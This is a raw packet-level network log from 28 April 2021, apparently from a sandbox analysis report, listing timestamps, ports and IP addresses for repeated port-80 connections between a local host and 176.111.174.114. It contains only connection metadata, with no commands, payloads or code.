Apr 28, 2021 23:22:58.667031050 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667072058 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667144060 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667218924 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667356014 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667422056 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667550087 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667571068 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667581081 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667597055 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667634964 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667659044 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667711020 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667787075 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.667809963 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.667882919 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.739357948 CEST	80	49841	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.760488033 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.760526896 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.760545969 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.760613918 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.760631084 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.760632992 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.760705948 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:58.760814905 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.800196886 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:58.903224945 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.088658094 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.091389894 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.091584921 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.185137033 CEST	80	49840	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.185316086 CEST	49840	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.191560030 CEST	80	49841	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.191622972 CEST	49841	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.304066896 CEST	49841	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.306730986 CEST	49843	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.402117014 CEST	80	49843	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.402232885 CEST	49843	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.403341055 CEST	80	49841	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.403422117 CEST	49841	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.405174971 CEST	49843	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.502788067 CEST	80	49843	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.557581902 CEST	49681	443	192.168.2.5	23.57.81.29
Apr 28, 2021 23:22:59.558207989 CEST	49682	80	192.168.2.5	93.184.220.29
Apr 28, 2021 23:22:59.558407068 CEST	80	49843	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.558487892 CEST	49843	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.676456928 CEST	49843	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.677836895 CEST	49844	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.771773100 CEST	80	49843	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.771985054 CEST	49843	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.773330927 CEST	80	49844	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.773511887 CEST	49844	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.777950048 CEST	49844	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:22:59.874453068 CEST	80	49844	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.936687946 CEST	80	49844	176.111.174.114	192.168.2.5
Apr 28, 2021 23:22:59.936790943 CEST	49844	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.050806046 CEST	49844	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.051815033 CEST	49845	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.148225069 CEST	80	49844	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.148296118 CEST	49844	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.157536983 CEST	80	49845	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.157649994 CEST	49845	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.158114910 CEST	49845	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.262065887 CEST	80	49845	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.270983934 CEST	80	49845	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.271099091 CEST	49845	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.399832010 CEST	49845	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.401309013 CEST	49847	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.498420954 CEST	80	49847	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.498650074 CEST	49847	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.499285936 CEST	49847	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.505673885 CEST	80	49845	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.509572983 CEST	49845	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.594988108 CEST	80	49847	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.603877068 CEST	80	49847	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.605570078 CEST	49847	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.723114967 CEST	49847	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.724858046 CEST	49848	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.821022034 CEST	80	49847	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.823465109 CEST	49847	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.824223042 CEST	80	49848	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.824351072 CEST	49848	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.824937105 CEST	49848	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:00.924154997 CEST	80	49848	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.927546978 CEST	80	49848	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:00.927711964 CEST	49848	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.035492897 CEST	49848	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.037045002 CEST	49849	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.132823944 CEST	80	49848	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.133578062 CEST	49848	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.134732008 CEST	80	49849	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.134876013 CEST	49849	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.135499001 CEST	49849	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.233238935 CEST	80	49849	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.237420082 CEST	80	49849	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.237535954 CEST	49849	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.347795010 CEST	49849	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.349256992 CEST	49850	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.443303108 CEST	80	49850	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.443454981 CEST	49850	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.445312977 CEST	80	49849	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.445413113 CEST	49850	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.445441008 CEST	49849	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.541064978 CEST	80	49850	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.544971943 CEST	80	49850	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.545061111 CEST	49850	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.571238041 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.660342932 CEST	49850	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.661775112 CEST	49852	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.663803101 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.663984060 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.664294004 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.755052090 CEST	80	49850	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.755202055 CEST	49850	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.757793903 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.757992983 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.758330107 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.758349895 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.758378029 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.758441925 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.758495092 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.761254072 CEST	80	49852	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.761441946 CEST	49852	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.762056112 CEST	49852	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.850491047 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.850522995 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.850672960 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.850713015 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.850785971 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.850799084 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.850857019 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.850883961 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.850924969 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.851061106 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.851073980 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.851150990 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.851211071 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.851274967 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.859781027 CEST	80	49852	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.864005089 CEST	80	49852	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.864403963 CEST	49852	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943183899 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943214893 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943223000 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943279982 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943315029 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943355083 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943391085 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943511009 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943536043 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943562031 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943617105 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943639040 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943689108 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943773985 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943841934 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943877935 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.943921089 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.943938971 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.944040060 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:01.973180056 CEST	49852	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:01.974683046 CEST	49853	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.035897017 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.035938978 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.035973072 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.035995007 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036159039 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036358118 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036484003 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036514997 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036708117 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036736012 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036761999 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036787987 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036957026 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.036983013 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.037111044 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.037139893 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.038944960 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.039145947 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.067738056 CEST	80	49853	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.067817926 CEST	49853	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.068602085 CEST	49853	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.070831060 CEST	80	49852	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.070900917 CEST	49852	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.131633043 CEST	80	49851	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.131874084 CEST	49851	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.163022041 CEST	80	49853	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.167047977 CEST	80	49853	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.167205095 CEST	49853	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.270083904 CEST	49853	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.271543980 CEST	49855	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.362811089 CEST	80	49853	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.363291979 CEST	49853	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.365026951 CEST	80	49855	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.365175009 CEST	49855	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.365932941 CEST	49855	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.459372997 CEST	80	49855	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.463694096 CEST	80	49855	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.464014053 CEST	49855	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.566637993 CEST	49855	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.568568945 CEST	49856	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.663328886 CEST	80	49855	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.663362980 CEST	80	49856	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.663480997 CEST	49855	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.663536072 CEST	49856	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.664303064 CEST	49856	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.758145094 CEST	80	49856	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.762084961 CEST	80	49856	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.762242079 CEST	49856	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.884267092 CEST	49856	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.885329962 CEST	49857	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.977783918 CEST	80	49856	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.977870941 CEST	49856	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.983237028 CEST	80	49857	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:02.983308077 CEST	49857	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:02.983874083 CEST	49857	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.083254099 CEST	80	49857	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.087322950 CEST	80	49857	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.087410927 CEST	49857	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.192037106 CEST	49857	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.194161892 CEST	49859	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.291929960 CEST	80	49857	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.292073011 CEST	49857	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.296190023 CEST	80	49859	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.297358990 CEST	49859	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.297400951 CEST	49859	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.397469044 CEST	80	49859	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.401495934 CEST	80	49859	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.404072046 CEST	49859	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.505350113 CEST	49859	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.508759022 CEST	49860	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.604937077 CEST	80	49859	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.606050968 CEST	49859	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.617098093 CEST	80	49860	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.617877960 CEST	49860	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.657542944 CEST	49860	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.765677929 CEST	80	49860	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.769337893 CEST	80	49860	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:03.769535065 CEST	49860	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.989654064 CEST	49860	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:03.991147041 CEST	49861	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.086075068 CEST	80	49861	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.086334944 CEST	49861	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.087276936 CEST	49861	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.098897934 CEST	80	49860	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.100686073 CEST	49860	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.181094885 CEST	80	49861	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.185530901 CEST	80	49861	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.185694933 CEST	49861	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.302105904 CEST	49861	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.303658962 CEST	49862	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.395597935 CEST	80	49861	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.395677090 CEST	49861	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.399435043 CEST	80	49862	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.399548054 CEST	49862	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.402662992 CEST	49862	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.498513937 CEST	80	49862	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.502520084 CEST	80	49862	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.502674103 CEST	49862	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.675910950 CEST	49862	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.677572966 CEST	49863	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.709676981 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.774125099 CEST	80	49862	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.774292946 CEST	49862	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.781502008 CEST	80	49863	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.781691074 CEST	49863	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:04.802403927 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:04.802565098 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.190736055 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.198405027 CEST	49863	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.285048962 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.285084009 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.285095930 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.285116911 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.285352945 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.299763918 CEST	80	49863	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.303738117 CEST	80	49863	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.303927898 CEST	49863	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.378143072 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.378168106 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.378182888 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.378199100 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.378401041 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.378436089 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.378544092 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.378585100 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.378709078 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.412192106 CEST	49863	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.413506985 CEST	49865	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.471155882 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471188068 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471204042 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471271038 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471355915 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471456051 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.471515894 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.471515894 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471625090 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.471752882 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471854925 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.471879005 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.471988916 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.472078085 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.472096920 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.472138882 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.509071112 CEST	80	49865	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.509290934 CEST	49865	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.509978056 CEST	49865	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.511965990 CEST	80	49863	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.512068033 CEST	49863	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.564151049 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564181089 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564199924 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564299107 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564333916 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564500093 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564702034 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564718962 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.564861059 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565021038 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565226078 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565242052 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565406084 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565462112 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565490007 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565618992 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565829992 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.565896034 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.567585945 CEST	80	49864	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.567769051 CEST	49864	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:23:05.605247974 CEST	80	49865	176.111.174.114	192.168.2.5
Apr 28, 2021 23:23:05.608858109 CEST	80	49865	176.111.174.114	192.168.2.5
